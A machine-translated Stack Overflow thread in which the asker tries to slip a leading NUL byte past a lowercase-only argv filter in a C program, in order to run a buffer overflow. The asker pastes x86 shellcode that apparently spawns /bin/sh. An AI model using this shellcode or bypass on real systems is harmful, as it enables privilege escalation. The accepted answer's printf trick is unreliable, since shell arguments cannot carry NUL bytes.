gpt4 book ai didi

C 编程给出\0 作为参数

转载 作者:行者123 更新时间:2023-11-30 15:24:25 25 4
gpt4 key购买 nike

我正在尝试测试一个程序,人们不应该能够将任何字符作为第一个参数,它是这样完成的:

   for (i=0; argv[1][i]!=0; i++) {
if (argv[1][i] > 'z' || argv[1][i] < 'a') {
printf("Not allowed char in filename\n");
exit(1);
}
}

我想知道是否有可能在开始时伪造一个\0 来引入字符,只是因为之后程序复制了整个缓冲区(在整个链上使用 strncpy),所以它确实复制了\之后的内容0 个字符。我的问题是关于 bash,我如何编写第一个参数来伪造这个\0,然后放置一个不会被检测到的有效字符。

编辑:所以我的目标是使用这样的 shellcode 进行简单的缓冲区溢出:

\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80

感谢我设法在字符链开头包含\0 的答案 $printf("\0 abc)但如果我用我的代码替换 abc ,它仍然会检测到其中的实际字符。不知道发生了什么,但我正在尝试不使用该程序的 printf。

EDIT2:实际上 printf 返回 shellcode 的错误,这就是程序检测到字符的原因。我正在尝试解决该错误,由于 $,bash 似乎正在尝试解释 shellcode 本身。

最佳答案

您可以使用 bash 的 printf 命令

例如

yourcommand $(printf "\0abc")

关于C 编程给出\0 作为参数,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28407206/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com